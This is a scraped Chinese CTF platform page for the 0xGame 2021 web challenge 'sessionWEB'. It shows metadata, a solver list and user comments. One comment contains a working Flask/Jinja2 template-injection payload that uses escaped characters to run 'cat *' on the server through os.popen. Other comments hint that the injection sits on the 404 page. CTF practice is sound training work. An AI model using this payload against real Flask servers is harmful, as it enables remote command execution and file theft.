sessionWEB 未解决

分数: 0 金币: 0
所属赛事: 0xGame 2021
题目作者: 未知
一  血: dai
一血奖励: 0金币
解  决: 32
提  示:
描  述:
0xGame{}
评论
yehlg 3月前

从哪里发现是flask注入,而且还知道参数

回复 0

coldplay99999 1年前

{{g.get.__globals__.sys.modules.__main__.__dict__.render_template_string('{{g.get.__globals__.sys.modules.\x6fs.p\x6fpen("cat *").read()}}')}}

回复 0

sraiL 1年前

真没想到ssti在404上

回复 0

whiteHaves 2年前

知道要处理session,但是不懂怎么改,唉,算了吧

回复 0

WriteUp

image
随琉

2 金币

评分(0)

暂无评分

解题动态

Dxmax 攻破了该题 3天前
bugbiubiubiu 攻破了该题 17天前
zhatao 攻破了该题 25天前
爱吃馒头 攻破了该题 1月前
caixinggang 攻破了该题 1月前
Yan123 攻破了该题 1月前
hdcc1 攻破了该题 1月前
xiaodou 攻破了该题 1月前
jibabenba 攻破了该题 1月前
路人甲1123 攻破了该题 2月前
HamiLemon 攻破了该题 5月前
efswgw 攻破了该题 5月前
admin_ 攻破了该题 5月前
heason 攻破了该题 6月前
minz 攻破了该题 10月前
温吞世俗人间烟火 攻破了该题 10月前
nuxe 攻破了该题 10月前
forces 攻破了该题 1年前
lz117 攻破了该题 1年前
花舞Flower 攻破了该题 1年前
问题反馈